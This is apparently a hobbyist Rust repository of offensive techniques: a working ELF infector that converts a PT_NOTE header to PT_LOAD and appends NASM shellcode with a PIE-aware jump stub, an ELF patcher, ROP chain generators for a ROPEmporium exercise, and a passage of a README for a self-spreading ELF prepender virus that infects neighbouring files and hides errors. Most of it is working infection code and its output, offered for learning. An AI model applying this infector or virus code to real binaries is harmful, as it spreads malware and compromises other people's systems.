├── README.ja.txt ├── README.txt ├── elf ├── ptnote-infector │ ├── Cargo.toml │ ├── Makefile │ ├── README.ja.md │ ├── README.md │ ├── files │ │ ├── Makefile │ │ ├── jump_to_start.s │ │ ├── shellcode.s │ │ └── target.rs │ └── src │ │ └── main.rs └── standalone-elf-patching │ ├── Makefile │ ├── miracle.rs │ ├── patcher.rs │ └── readme.md ├── rop ├── rop-chain.rs └── rop-example.rs └── viruses ├── linux-ferrisfirst ├── README.md ├── build.sh └── ferris-first.rs └── linux-strongferris ├── Cargo.toml └── src └── main.rs /README.ja.txt: -------------------------------------------------------------------------------- 1 | 2 | +----------------------------------------------------------------------------+ 3 | | ::: HACKING TRIX RUST ::: | 4 | +----------------------------------------------------------------------------+ 5 | 6 | rust言語は私にとって、コンピュータについて学ぶのにとても良い道具で、素敵な言語 7 | だと思います。これらは、いろいろ調べるにあたって作成したプログラムやスニペット 8 | です。 9 | 10 | 知識を共有する自由や、表現の自由、結社の自由は自分にとって非常に尊く思うもの 11 | です。できる限りバイアスなく、いろいろな人と知識を共有したく思っています。 12 | 13 | 知識をどう適用するかは、自己責任である。 14 | なお我が国の法律を知り、馬鹿な真似をしないでおきましょう。 15 | 16 | -------------------------------------------------------------------------------- /README.txt: -------------------------------------------------------------------------------- 1 | 2 | +----------------------------------------------------------------------------+ 3 | | ::: HACKING TRIX RUST ::: | 4 | +----------------------------------------------------------------------------+ 5 | 6 | i think rust is a really cool language and it has been a useful tool for me 7 | to learn more about how computers work. here are some programs, snippets, and 8 | writeups about some of the things I have looked at. 9 | 10 | freedom of knowledge, expression, and association are really important to me. 11 | i try to share knowledge without bias that can be useful to different kinds of 12 | people. 13 | 14 | how you apply knowledge is your own responsibility. 15 | know your laws and don't do something stupid. 16 | 17 | -------------------------------------------------------------------------------- /elf/ptnote-infector/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "ptnote-infector" 3 | version = "0.1.0" 4 | authors = ["d3npa "] 5 | edition = "2018" 6 | 7 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 8 | 9 | [dependencies] 10 | byteorder = "1.4.3" 11 | 12 | [dependencies.mental_elf] 13 | git = "https://github.com/d3npa/mental-elf" 14 | rev = "0355d2d35558e092a038589fc8b98ac9bc70c37b" 15 | -------------------------------------------------------------------------------- /elf/ptnote-infector/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | cd files && make && cd .. 3 | cargo run --release files/target files/shellcode.o 4 | @echo 'Done! Run target with: `./files/target`' 5 | clean: 6 | cd files && make clean && cd .. 7 | cargo clean 8 | -------------------------------------------------------------------------------- /elf/ptnote-infector/README.ja.md: -------------------------------------------------------------------------------- 1 | # PT_NOTE → PT_LOAD 置き換えによるELF感染方法 2 | 3 | English Version: [README.md](README.md) 4 | 5 | > 日本語は母語ではありません。文がおかしいところがあるかもしれないので、そういうところを指摘していただければ嬉しいです。宜しくお願いいたします! (連絡: https://xoreaxe.ax/contact.txt) 6 | 7 | [SymbolCrashのブログ](https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/)を読みながら、ELFのプログラムヘッダの`PT_NOTE`を`PT_LOAD`に置き換えることでシェルコードのロード及び実行ができる方法を知りました。掲載を読むときELFについてあんまりわかっていませんでしたが、この技術が気になって実装してみたので、今回学んだことを共有していきたいと思います。 8 | 9 | ELFファイルのメタデータの読み・書き込みが簡単にできるように、[mental_elf](https://github.com/d3npa/mental-elf)という、まだ未完全な小さなライブラリを作ってみました。ライブラリのコード自体は単純で読めばわかりやすいと思うので、ここでは詳しく説明しません。代わりに感染方法を集中的に解説していきます。 10 | 11 | ## 概要 12 | 13 | タイトルのとおりこの感染方法は、あるELF実行可能ファイル(以降ELFと呼ぶ)のプログラムヘッダーを編集し、`PT_NOTE`を`PT_LOAD`に置き換えます。感染の流れは次の3段階になります: 14 | 15 | - シェルコードをELFの末尾に追加する 16 | - 実行時、シェルコードが決まった仮想アドレスに読み込まれるようにする 17 | - シェルコードが最初に実行されるように、ELFのエントリポイントを書き換える 18 | 19 | シェルコードが処理を終えたら本来のエントリポイントに処理を渡すように、感染時に元々のエントリポイントから `jmp` 命令を生成し、シェルコードをパッチする必要があります。 20 | 21 | ELFの末尾に追加されたシェルコードは、`PT_LOAD`というプログラムヘッダーによって仮想メモリに読み込めますが、新たなヘッダーをELFに投入してしまえばバイナリ内の他のオフセットが壊れてしまうでしょう。[ELFの仕様](http://www.skyfree.org/linux/references/ELF_Format.pdf)によると、`PT_NOTE`という別のヘッダーがありますが、そのヘッダーはELFの仕様では任意とされています。もし既存の`PT_NOTE`ヘッダーを置き換えれば、オフセットを壊さずに`PT_LOAD`を改竄することが出来るのです。 22 | 23 | > Note information is optional. The presence of note information does not affect a program’s ABI conformance, provided the information does not affect the program’s execution behavior. Otherwise, the program does not conform to the ABI and has undefined behavior 24 | 25 | この方法には、2つの欠点があります 26 | 27 | - Go言語のランタイムは、バージョン情報を確認するため有効な`PT_NOTE`を期待するので書き換えできない 28 | 29 | ※PIEは、ccなら`-no-pie`、rustcなら`-C relocation-model=static`というコンパイラオプションで無効化出来ます。 30 | 31 | ## シェルコード 32 | 33 | この例で提供したシェルコードはNASMで書いていますので、Makefileを実行する前に`nasm`がインストールされていることを予め確認してください。 34 | 35 | この方法で使えるシェルコードを生成するにはいくつか注意しなければならない点があります。[AMD64 System V ABIの仕様](https://refspecs.linuxfoundation.org/elf/x86_64-abi-0.95.pdf)の第3.4.1章では、プログラムの開始時(シェルコードの後本体のエントリポイントに処理を渡す時点)に`rbp`、`rsp`、`rdx`のレジスタが有効な値を持たなければならないと書いてあります。単に、シェルコードの先頭でそれらのレジスタを`push`し、処理後に`pop`すればよいのです。自分のシェルコードでは、`rbp`、`rsp`を触れないので、最後に`rdx`だけをゼロに戻しています。 36 | 37 | また、シェルコードが処理を終えたら、本体のエントリポイントに処理を渡すために、本来のエントリポイントから`jmp`命令を作り、シェルコードに追加する必要があります。シェルコードは、上から下まで実行するように書くか、下記のように最後に空のラベルを用意してそれに`jmp`すれば、パッチはシェルコードの末尾に新しい命令を追加しただけで実行されるので便利です。 38 | 39 | ```nasm 40 | main_tasks: ; メインタスク 41 | ; ... 42 | jmp finish ; シェルコードの末尾にジャンプ 43 | other_tasks: ; その他のタスク 44 | ; ... 45 | finish: ; からのラベル「終わり」 46 | ``` 47 | 48 | x86_64では、`jmp`命令に64ビットの引数を渡すことが不可能なので、一度64ビットのエントリポイントを`rax`に保存し、`jmp rax`を行います。下記は、そのようにシェルコードをバッチするRust言語のスニペットです。 49 | 50 | ```rust 51 | fn patch_jump(shellcode: &mut Vec, entry_point: u64) { 52 | // エントリポイントをraxに 53 | shellcode.extend_from_slice(&[0x48u8, 0xb8u8]); 54 | shellcode.extend_from_slice(&entry_point.to_ne_bytes()); 55 | // raxの値を移動先にしてジャンプ 56 | shellcode.extend_from_slice(&[0xffu8, 0xe0u8]); 57 | } 58 | ``` 59 | 60 | ## 感染プログラム 61 | 62 | 感染プログラムのソースコードは `src/main.rs` にあります。このファイルを上から下まで読むだけでわかるようになっています。概要を理解した上でソースコードを読めばわかりやすいかと思います。また、ライブラリの[mental_elf](https://github.com/d3npa/mental-elf)を利用していて、ファイル処理などはほとんど抽象されているので、感染方法に着目できます。 63 | 64 | メイン関数の流れは以下のようです: 65 | 66 | - 対象のELFファイル、シェルコードファイルのCLI引数2つを取る 67 | - ELFファイルのELFヘッダーとプログラムヘッダーを読み込む 68 | - 本来のエントリポイントを使ってシェルコードに`jmp`命令を追加する 69 | - プログラムヘッダーから`PT_NOTE`を取り、`PT_LOAD`に書き換える 70 | - シェルコードの先頭を指すようにELFのエントリポイントを書き換える 71 | - 変更済みなヘッダーをELFファイルに書き込む 72 | 73 | 感染したELFファイルが実行されれば、まずELFローダーは、複数のセクションを仮想メモリに読み込みます。改竄した`PT_LOAD`も処理されるのでELFの末尾に追加したシェルコードも読み込まれます。ELFのエントリポイントがシェルコードの先頭を指すので、シェルコードの実行が始まります。シェルコードの処理が終わったら、パッチした`jmp`命令が実行され、ELFの本来のエントリポイントに移動し、本来のプログラムが普通通りに実行されます。 74 | 75 | ``` 76 | $ make 77 | cd files && make && cd .. 78 | make[1]: Entering directory '/.../files' 79 | rustc -C opt-level=z -C debuginfo=0 -C relocation-model=static target.rs 80 | nasm -o shellcode.o shellcode.s 81 | make[1]: Leaving directory '/.../files' 82 | cargo run --release files/target files/shellcode.o 83 | Compiling mental_elf v0.1.0 (https://github.com/d3npa/mental-elf#0355d2d3) 84 | Compiling ptnote-to-ptload-elf-injection v0.1.0 (/...) 85 | Finished release [optimized] target(s) in 1.15s 86 | Running `target/release/ptnote-to-ptload-elf-injection files/target files/shellcode.o` 87 | Found PT_NOTE section; converting to PT_LOAD 88 | echo 'Done! Run target with: `./files/target`' 89 | Done! Run target with: `./files/target` 90 | $ ./files/target 91 | dont tell anyone im here 92 | hello world! 93 | $ 94 | ``` 95 | 96 | ## 後書き 97 | 98 | このプロジェクトで、ELFファイルの構造やRust言語でのデータ読み込み、ヴィルスについて沢山学ぶことが出来ました。私を支え、いろいろ教えてくれたtmp.outの皆様、ありがとうございます!♡ 99 | 100 | 今回の掲載はここまでです。最後まで読んでいただき、ありがとうございました! 101 | 102 | 103 | ## 2021/04/29 更新 104 | 105 | 元々PIEの対応はできないと言いました。私の間違いでした。シェルコードを少し工夫したら、ランダム化のオフセットを計算することができて、元エントリポイントを調整出来ました。その計算を行うアセンブリ命令を `files/jump_to_start.s` に書き、それらを利用するように `src/main.rs` を更新しました。 -------------------------------------------------------------------------------- /elf/ptnote-infector/README.md: -------------------------------------------------------------------------------- 1 | # PT_NOTE to PT_LOAD ELF injector example 2 | 3 | 日本語版はこちら: [README.ja.md](README.ja.md) 4 | 5 | I read about a technique on the [SymbolCrash blog](https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/) for injecting shellcode into an ELF binary by converting a `PT_NOTE` in the Program Headers into a `PT_LOAD`. I thought this sounded interesting and I didn't know a lot about ELF, so I took it as an opportunity to learn many new things at once. 6 | 7 | For this project I created a small, very incomplete library I called [mental_elf](https://github.com/d3npa/mental-elf) which makes parsing and writing ELF metadata easier. I think the library code is very straight-forward and easy to understand, so I won't talk about it any more here. Let's focus on the infection technique instead :) 8 | 9 | ## Overview 10 | 11 | As implied by the title, this infection technique involves converting an ELF's `PT_NOTE` program header into a `PT_LOAD` in order to run shellcode. The infection boils down to three steps: 12 | 13 | - Append the shellcode to the end of the ELF file 14 | - Load the shellcode to a specific address in virtual memory 15 | - Change the ELF's entry point to the above address so the shellcode is executed first 16 | 17 | The shellcode should also be patched for each ELF such that it jumps back to the host ELF's original entry point, allowing the host to execute normally after the shellcode is finished. 18 | 19 | Shellcode may be loaded into virtual memory via a `PT_LOAD` header. Inserting a new program header into the ELF file would likely break many offsets throughout the binary, however it is usually possible to repurpose a `PT_NOTE` header without breaking the binary. Here is a note about the Note Section in the [ELF Specification](http://www.skyfree.org/linux/references/ELF_Format.pdf): 20 | 21 | > Note information is optional. The presence of note information does not affect a program’s ABI conformance, provided the information does not affect the program’s execution behavior. Otherwise, the program does not conform to the ABI and has undefined behavior 22 | 23 | Here are two caveats I became aware of: 24 | 25 | - The Go language runtime actually expects a valid `PT_NOTE` section containing version information in order to run, so this technique cannot be used with Go binaries. 26 | 27 | Note: PIE can be disabled in cc with `-no-pie` or in rustc with `-C relocation-model=static`. 28 | 29 | ## Shellcode 30 | 31 | The shellcode provided is written for the Netwide ASseMbler (NASM). Make sure to install `nasm` before running the Makefile! 32 | 33 | To create shellcode suitable for this injection, there are a couple of things to keep in mind. Section 3.4.1 of the [AMD64 System V ABI](https://refspecs.linuxfoundation.org/elf/x86_64-abi-0.95.pdf) says that the `rbp`, `rsp`, and `rdx` registers must be set to correct values before entry. This can be achieved by ordinary pushing and popping around the shellcode. My shellcode doesn't touch `rbp` or `rsp`, and setting `rdx` to zero before returning also worked. 34 | 35 | The shellcode also needs to be patched so it can actually jump back to the host's original entry point after finishing. To make patching easier, shellcode can be designed to run off the end of the file, either by being written top-to-bottom, or jumping to an empty label at the end: 36 | 37 | ```nasm 38 | main_tasks: 39 | ; ... 40 | jmp finish 41 | other_tasks: 42 | ; ... 43 | finish: 44 | ``` 45 | 46 | With this design, patching is as easy as appending a jump instruction. In x86_64 however, `jmp` cannot take a 64bit operand - instead the destination is stored in `rax` and then a `jmp rax` is made. This rust snippet patches a `shellcode` byte vector to append a jump to `entry_point`: 47 | 48 | ```rust 49 | fn patch_jump(shellcode: &mut Vec, entry_point: u64) { 50 | // Store entry_point in rax 51 | shellcode.extend_from_slice(&[0x48u8, 0xb8u8]); 52 | shellcode.extend_from_slice(&entry_point.to_ne_bytes()); 53 | // Jump to address in rax 54 | shellcode.extend_from_slice(&[0xffu8, 0xe0u8]); 55 | } 56 | ``` 57 | 58 | ## Infector 59 | 60 | The infector itself is in `src/main.rs`. It's written in an easy to follow top-to-bottom format, so if you understood the overview it should be very clear. I also added comments to help. The code uses my [mental_elf](https://github.com/d3npa/mental-elf) library to abstract away the details of reading/writing the file, so that it's easier to see the technique. 61 | 62 | In summary, the code 63 | 64 | - Takes in 2 CLI parameters: the ELF target and a shellcode file 65 | - Reads in the ELF and Program headers from the ELF file 66 | - Patches the shellcode with a `jmp` to the original entry point 67 | - Appends the patched shellcode the ELF 68 | - Finds a `PT_NOTE` program header and converts it to `PT_LOAD` 69 | - Changes the ELF's entry point to the start of the shellcode 70 | - Saves the altered header structures back into the ELF file 71 | 72 | When an infected ELF file is run, the ELF loader will map several sections of the ELF file into virtual memory - our crated `PT_LOAD` will make sure our shellcode is loaded and executable. The ELF's entry point then starts the shellcode's execution. Then the shellcode ends, it will then jump to the original entry point, allowing the binary to run its original code. 73 | 74 | ``` 75 | $ make 76 | cd files && make && cd .. 77 | make[1]: Entering directory '/.../files' 78 | rustc -C opt-level=z -C debuginfo=0 -C relocation-model=static target.rs 79 | nasm -o shellcode.o shellcode.s 80 | make[1]: Leaving directory '/.../files' 81 | cargo run --release files/target files/shellcode.o 82 | Compiling mental_elf v0.1.0 (https://github.com/d3npa/mental-elf#0355d2d3) 83 | Compiling ptnote-to-ptload-elf-injection v0.1.0 (/...) 84 | Finished release [optimized] target(s) in 1.15s 85 | Running `target/release/ptnote-to-ptload-elf-injection files/target files/shellcode.o` 86 | Found PT_NOTE section; converting to PT_LOAD 87 | echo 'Done! Run target with: `./files/target`' 88 | Done! Run target with: `./files/target` 89 | $ ./files/target 90 | dont tell anyone im here 91 | hello world! 92 | $ 93 | ``` 94 | 95 | ## Conclusion 96 | 97 | This was a very fun project where I learned so much about ELF, parsing binary structures in Rust, and viruses in general! Thanks to netspooky, sblip, TMZ, and others at tmp.out for teaching me, helping me debug and motivating me to do this project <3 98 | 99 | ## Update 2021/04/29 100 | 101 | I originally stated this didn't work with PIE. I was mistaken - my shellcode just needed a few touchups to calculate the randomization offset and adjust the original entry point. I have added assembly instructions for this calculation in `files/jump_to_start.s` and updated `src/main.rs` to make use of them. -------------------------------------------------------------------------------- /elf/ptnote-infector/files/Makefile: -------------------------------------------------------------------------------- 1 | RUSTCOPTS = -C opt-level=z -C debuginfo=0 2 | 3 | all: 4 | rustc $(RUSTCOPTS) target.rs 5 | nasm -o shellcode.o shellcode.s 6 | nasm -o jump_to_start.o jump_to_start.s 7 | 8 | clean: 9 | rm target shellcode.o jump_to_start.o 10 | -------------------------------------------------------------------------------- /elf/ptnote-infector/files/jump_to_start.s: -------------------------------------------------------------------------------- 1 | BITS 64 2 | %define VXSIZE 0xaaaaaaaaaaaaaaaa 3 | %define ENTRY0 0xbbbbbbbbbbbbbbbb 4 | %define _START 0xcccccccccccccccc 5 | 6 | ; calculate and save PIE delta into rax 7 | ; add pre-randomization sym._start to find the post-randomization addr 8 | ; finally, jump to post-randomization addr of _start 9 | ; https://tmpout.sh/1/11.html 10 | call get_rip 11 | mov r9, VXSIZE 12 | mov r10, ENTRY0 13 | mov r11, _START 14 | sub rax, r9 15 | sub rax, 5 16 | sub rax, r10 17 | add rax, r11 18 | jmp rax 19 | get_rip: 20 | mov rax, [rsp] 21 | ret 22 | -------------------------------------------------------------------------------- /elf/ptnote-infector/files/shellcode.s: -------------------------------------------------------------------------------- 1 | BITS 64 2 | global _start 3 | section .text 4 | _start: 5 | call main 6 | db "dont tell anyone im here", 0xa, 0x0 7 | main: 8 | xor rax, rax 9 | xor rdx, rdx 10 | inc al 11 | mov rdi, rax 12 | pop rsi 13 | mov dl, 25 14 | syscall 15 | xor rdx, rdx 16 | -------------------------------------------------------------------------------- /elf/ptnote-infector/files/target.rs: -------------------------------------------------------------------------------- 1 | fn main() { 2 | println!("hello world!"); 3 | } -------------------------------------------------------------------------------- /elf/ptnote-infector/src/main.rs: -------------------------------------------------------------------------------- 1 | use mental_elf::elf64::constants::*; 2 | use std::{env, fs, process}; 3 | use std::io::prelude::*; 4 | use std::io::SeekFrom; 5 | 6 | fn main() -> Result<(), Box> { 7 | let args: Vec = env::args().collect(); 8 | if args.len() != 3 { 9 | eprintln!("Usage: {} ", args[0]); 10 | process::exit(1); 11 | } 12 | 13 | let elf_path = &args[1]; 14 | let sc_path = &args[2]; 15 | 16 | // Open target ELF file with RW permissions 17 | let mut elf_fd = fs::OpenOptions::new() 18 | .read(true) 19 | .write(true) 20 | .open(&elf_path)?; 21 | 22 | // Load shellcode from file 23 | let mut shellcode: Vec = fs::read(&sc_path)?; 24 | 25 | // Parse ELF and program headers 26 | let mut elf_header = mental_elf::read_elf64_header(&mut elf_fd)?; 27 | let mut program_headers = mental_elf::read_elf64_program_headers( 28 | &mut elf_fd, 29 | elf_header.e_phoff, 30 | elf_header.e_phnum, 31 | )?; 32 | 33 | // Save the old entry point so we can add a jump later 34 | let original_entry = elf_header.e_entry; 35 | 36 | // Calculate offsets used to patch the ELF and program headers 37 | let sc_len = shellcode.len() as u64; 38 | let file_offset = elf_fd.metadata()?.len(); 39 | let memory_offset = 0xc00000000 + file_offset; 40 | 41 | // Look for a PT_NOTE section 42 | for phdr in &mut program_headers { 43 | if phdr.p_type == PT_NOTE { 44 | // Convert to a PT_LOAD section with values to load shellcode 45 | println!("Found PT_NOTE section; converting to PT_LOAD"); 46 | phdr.p_type = PT_LOAD; 47 | phdr.p_flags = PF_R | PF_X; 48 | phdr.p_offset = file_offset; 49 | phdr.p_vaddr = memory_offset; 50 | phdr.p_memsz += sc_len as u64; 51 | phdr.p_filesz += sc_len as u64; 52 | // Patch the ELF header to start at the shellcode 53 | elf_header.e_entry = memory_offset; 54 | break; 55 | } 56 | } 57 | 58 | // Patch the shellcode to jump to the original entry point after finishing 59 | patch_jump(&mut shellcode, elf_header.e_entry, original_entry); 60 | 61 | // Append the shellcode to the very end of the target ELF 62 | elf_fd.seek(SeekFrom::End(0))?; 63 | elf_fd.write(&shellcode)?; 64 | 65 | // Commit changes to the program and ELF headers 66 | mental_elf::write_elf64_program_headers( 67 | &mut elf_fd, 68 | elf_header.e_phoff, 69 | elf_header.e_phnum, 70 | program_headers, 71 | )?; 72 | mental_elf::write_elf64_header(&mut elf_fd, elf_header)?; 73 | 74 | Ok(()) 75 | } 76 | 77 | /// Patches in shellcode to resolve _start and jump there 78 | fn patch_jump(shellcode: &mut Vec, entry_point: u64, start_offset: u64) { 79 | use byteorder::{ByteOrder, LittleEndian as le}; 80 | let mut jump_shellcode = include_bytes!("../files/jump_to_start.o").clone(); 81 | le::write_u64(&mut jump_shellcode[0x07..], shellcode.len() as u64); 82 | le::write_u64(&mut jump_shellcode[0x11..], entry_point); 83 | le::write_u64(&mut jump_shellcode[0x1b..], start_offset); 84 | shellcode.extend_from_slice(&jump_shellcode); 85 | } -------------------------------------------------------------------------------- /elf/standalone-elf-patching/Makefile: -------------------------------------------------------------------------------- 1 | OPTS = -C opt-level=3 -C debuginfo=0 2 | 3 | all: 4 | rustc $(OPTS) -C relocation-model=static miracle.rs 5 | rustc $(OPTS) patcher.rs 6 | ./patcher 7 | clean: 8 | rm miracle patcher 9 | -------------------------------------------------------------------------------- /elf/standalone-elf-patching/miracle.rs: -------------------------------------------------------------------------------- 1 | // rustc -C relocation-model=static -C opt-level=3 -C debuginfo=0 miracle.rs 2 | // Disable PIE by compiling with relocation-model=static 3 | // Patch PT_NOTE: map 0x37000 to 0x12000 4 | // Patch string @0x37345 (search for 'ustomUn') to 'MIRACLE' 5 | 6 | fn main() { 7 | let ptr = 0x12345usize as *const [u8; 7]; 8 | 9 | unsafe { 10 | println!("It would take a miracle to make this work"); 11 | if let Ok(magic) = String::from_utf8((*ptr).to_vec()) { 12 | println!("Value at {:?}: {:?}", ptr, magic); 13 | } 14 | } 15 | } -------------------------------------------------------------------------------- /elf/standalone-elf-patching/patcher.rs: -------------------------------------------------------------------------------- 1 | use std::{fs, io}; 2 | use std::io::prelude::*; 3 | use std::io::SeekFrom; 4 | 5 | macro_rules! read_u64 { 6 | ( $file:ident, $offset:expr ) => ({ 7 | $file.seek(SeekFrom::Start($offset))?; 8 | let mut buffer = [0u8; 8]; 9 | $file.read(&mut buffer)?; 10 | u64::from_ne_bytes(buffer) 11 | }); 12 | } 13 | 14 | macro_rules! read_u32 { 15 | ( $file:ident, $offset:expr ) => ({ 16 | $file.seek(SeekFrom::Start($offset))?; 17 | let mut buffer = [0u8; 4]; 18 | $file.read(&mut buffer)?; 19 | u32::from_ne_bytes(buffer) 20 | }); 21 | } 22 | 23 | macro_rules! read_u16 { 24 | ( $file:ident, $offset:expr ) => ({ 25 | $file.seek(SeekFrom::Start($offset))?; 26 | let mut buffer = [0u8; 2]; 27 | $file.read(&mut buffer)?; 28 | u16::from_ne_bytes(buffer) 29 | }); 30 | } 31 | 32 | fn find_pt_note(f: &mut fs::File) -> io::Result> { 33 | // Parse ELF header (note this method calls lots of seeks) 34 | // Better to read the full header into an array and parse that instead 35 | let e_phoff = read_u64!(f, 0x20); 36 | let e_phentsize = read_u16!(f, 0x36); 37 | let e_phnum = read_u16!(f, 0x38); 38 | 39 | // Find pt_note if there is one 40 | // Maybe a cool place to implement an iterator? 41 | for i in 0..e_phnum { 42 | let phent_offset = e_phoff + (e_phentsize * i) as u64; 43 | f.seek(SeekFrom::Start(phent_offset))?; 44 | 45 | let p_type = read_u32!(f, phent_offset); 46 | 47 | if p_type == 4 { 48 | return Ok(Some(phent_offset)); 49 | } 50 | } 51 | 52 | Ok(None) 53 | } 54 | 55 | fn main() -> io::Result<()> { 56 | let mut f = fs::OpenOptions::new() 57 | .read(true) 58 | .write(true) 59 | .open("./miracle")?; 60 | 61 | let phent_offset = find_pt_note(&mut f)? 62 | .unwrap_or_else(|| { 63 | eprintln!("Did not find pt_note section"); 64 | std::process::exit(1); 65 | }); 66 | 67 | // Find suitable place for string 68 | // We want the string to be loaded to 0x12345 exactly, so we have to make 69 | // sure to write it to a place that, once loaded, will overlap perfectly. 70 | // There should be lots of string data above the section headers which 71 | // are safe to overwrite... 72 | let e_shoff = read_u64!(f, 0x28); 73 | let target = e_shoff & !0xfff; // clear 3 lowest bits 74 | 75 | // Set p_type to pt_load to force loading 76 | f.seek(SeekFrom::Start(phent_offset))?; 77 | f.write(&(1u32.to_ne_bytes()))?; 78 | 79 | // Overwrite p_offset 80 | f.seek(SeekFrom::Current(0x4))?; 81 | f.write(&(target.to_ne_bytes()))?; 82 | 83 | // Overwrite p_vaddr 84 | // Cursor is already positioned from last write 85 | f.write(&(0x12000u64.to_ne_bytes()))?; 86 | 87 | // Patch string 88 | f.seek(SeekFrom::Start(target + 0x345))?; 89 | f.write("MIRACLE".as_bytes())?; 90 | 91 | Ok(()) 92 | } -------------------------------------------------------------------------------- /elf/standalone-elf-patching/readme.md: -------------------------------------------------------------------------------- 1 | The idea is to let `miracle` run without segfaulting by editing the sections 2 | in the ELF metadata. `patcher` can be used to apply the modifications 3 | automatically. 4 | 5 | This technique works by locating a pt_note section in the ELF program header 6 | and converting it to a pt_load section, which tells the loader to map a 7 | section of virtual memory. 8 | 9 | I don't fully understand why this is the case, but during testing I noticed 10 | that it was always loading a full page (0x1000B) instead of just the data 11 | I wanted, so I had to carefully pick a place in the binary where I could 12 | write string data in such a way that I could map it to 0x12345. 13 | 14 | The resulting `miracle` binary worked when I tested it on Void and Debian, 15 | but not on OpenBSD. I think the problem on OpenBSD may be that since the 16 | program data is organized differently, the offset I write the string 17 | could be important data. 18 | 19 | ``` 20 | $ make 21 | rustc -C opt-level=3 -C debuginfo=0 -C relocation-model=static miracle.rs 22 | rustc -C opt-level=3 -C debuginfo=0 patcher.rs 23 | ./patcher 24 | $ ./miracle 25 | It would take a miracle to make this work 26 | Value at 0x12345: "MIRACLE" 27 | $ make clean 28 | rm miracle patcher 29 | $ 30 | ``` 31 | -------------------------------------------------------------------------------- /rop/rop-chain.rs: -------------------------------------------------------------------------------- 1 | /* 2 | * This program demonstrates how to build and write out a ROP chain. 3 | * The code can be adapted to write to a socket, a file, or other stream. 4 | * Compile with `rustc -C opt-level=3 -C debuginfo=0 rop-chain` 5 | */ 6 | 7 | use std::{io, mem}; 8 | use std::io::Write; 9 | 10 | fn main() { 11 | const SIZE: usize = 4; 12 | let array: [u64; SIZE] = [ 13 | 0xaaaaaaaaaaaaaaaa, 14 | 0x0, 15 | 0x0, 16 | 0xbbbbbbbbbbbbbbbb, 17 | ]; 18 | 19 | let data: [u8; SIZE * 8] = unsafe { mem::transmute(array) }; 20 | let _ = io::stdout().write(&data); 21 | } -------------------------------------------------------------------------------- /rop/rop-example.rs: -------------------------------------------------------------------------------- 1 | /* 2 | * This program produces a ROP chain to beat the 2nd exercise in ROPEmporium. 3 | * The general technique is in rop-chain.rs 4 | */ 5 | 6 | use std::{io, mem}; 7 | use std::io::Write; 8 | 9 | fn main() { 10 | let pop_rdi: u64 = 0x00400883; 11 | let addr_cat: u64 = 0x00601060; 12 | let call_system: u64 = 0x00400810; 13 | 14 | const SIZE: usize = 8; 15 | let chain: [u64; SIZE] = [ 16 | 0, 0, 0, 0, 0, 17 | pop_rdi, 18 | addr_cat, 19 | call_system, 20 | ]; 21 | 22 | let chain: [u8; SIZE * 8] = unsafe { mem::transmute(chain) }; 23 | let _ = io::stdout().write(&data); 24 | } 25 | 26 | -------------------------------------------------------------------------------- /viruses/linux-ferrisfirst/README.md: -------------------------------------------------------------------------------- 1 | # Linux.FerrisFirst 2 | 3 | I was reading a blog post by TMZ about a simple ELF prepender called [Linux.Fe2O3](https://www.guitmz.com/linux-fe2o3-rust-virus/) written in Rust. I read the code and suddenly a lot of things seemed to click in my head, so I wanted to have a go at reimplementing it myself. 4 | 5 | When running an infected program, Linux.FerrisFirst will first print a cool `tmp.out` header, then extract the host binary to a path that is unique to the infected file, so that multiple infected files may run without interfering with each other. Additionally, the extracted host file will have the same name as the original, which makes it less obvious in some command outputs: 6 | 7 | ``` 8 | $ ./nc -lp 4444 9 | .: tmp.out :. 10 | 11 | ``` 12 | ``` 13 | $ ss -tulpn 14 | Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process 15 | tcp LISTEN 0 1 0.0.0.0:4444 0.0.0.0:* users:(("nc",pid=19036,fd=3)) 16 | ``` 17 | 18 | but not all... 19 | ``` 20 | $ ps aux | grep nc 21 | vagrant 19035 0.0 0.2 3692 2580 pts/1 S+ 18:28 0:00 ./nc -lp 4444 22 | vagrant 19036 0.0 0.0 3252 844 pts/1 S+ 18:28 0:00 /dev/shm/.ferris_first/work/simple-elf-prepender/nc -lp 4444 23 | ``` 24 | 25 | Disclaimer: The code paired with this document are provided for free, with no warranty whatsoever, in the spirit of free information. I am not responsible for how you use this information or this code. 26 | 27 | ## Overview 28 | 29 | This is my first prepender, and also my first time implementing a spreading mechanism. The process of infection is actually quite simple, and boils down to three steps: 30 | 31 | 1. Take a backup of the original host binary 32 | 2. Copy the entire binary code over the host 33 | 3. Append the original binary to the virus 34 | 35 | The result is one file that contains both the virus and the original ELF files. 36 | 37 | ``` 38 | 0 | Virus ELF 39 | ... | ... 40 | ??? | Original ELF 41 | ... | ... 42 | ``` 43 | 44 | The virus as a whole needs to perform the following 3 tasks: 45 | 46 | 1. Look for files to spread to and perform the above 3 infection steps 47 | 2. Run its own `main` (do something a virus would do) 48 | 3. Execute the original ELF file 49 | 50 | That's the theory - now to practice! 51 | 52 | As explained above, the virus will have 3 primary functions: 53 | 54 | ```rust 55 | /// Finds and infects other ELF files 56 | fn spread_and_infect() {} 57 | 58 | /// Code that is executed when an infected file is ran 59 | fn virus_main() {} 60 | 61 | /// Extracts and execute the host code 62 | fn execute_host() {} 63 | ``` 64 | 65 | Note that these tasks are independent of each other: even if `spread_and_infect` fails, `virus_main` should execute, and if that fails, `execute_host` should execute. Additionally, as a virus, we don't need to have verbose error handling; silent errors are okay! 66 | 67 | ## Spreading to other ELFs 68 | 69 | The `spread_and_infect` function needs to know 2 things: 70 | - where to look for potential hosts 71 | - what code to inject if it does find a host 72 | 73 | We can pass this information as arguments: 74 | 75 | ```rust 76 | use std::{env, fs}; 77 | 78 | /// Finds and infects other ELF files 79 | fn spread_and_infect(dir: &str, virus: &[u8]) {} 80 | 81 | fn main() { 82 | let my_name = &env::args().collect::>()[0]; 83 | if let Ok(my_code) = fs::read(my_name) { 84 | // Spread and infect neighboring ELFs 85 | spread_and_infect(".", &my_code); 86 | } 87 | } 88 | ``` 89 | 90 | The code of `spread_and_infect` should search for ELF files in the given directory, check if they are a suitable host, and infect them. The function should `return` silently if `fs::read_dir` fails. 91 | 92 | ```rust 93 | /// Finds and infects other ELF files 94 | fn spread_and_infect(dir: &str, virus: &[u8]) { 95 | let entries = match fs::read_dir(dir) { 96 | Ok(v) => v.filter_map(Result::Ok).collect(), // 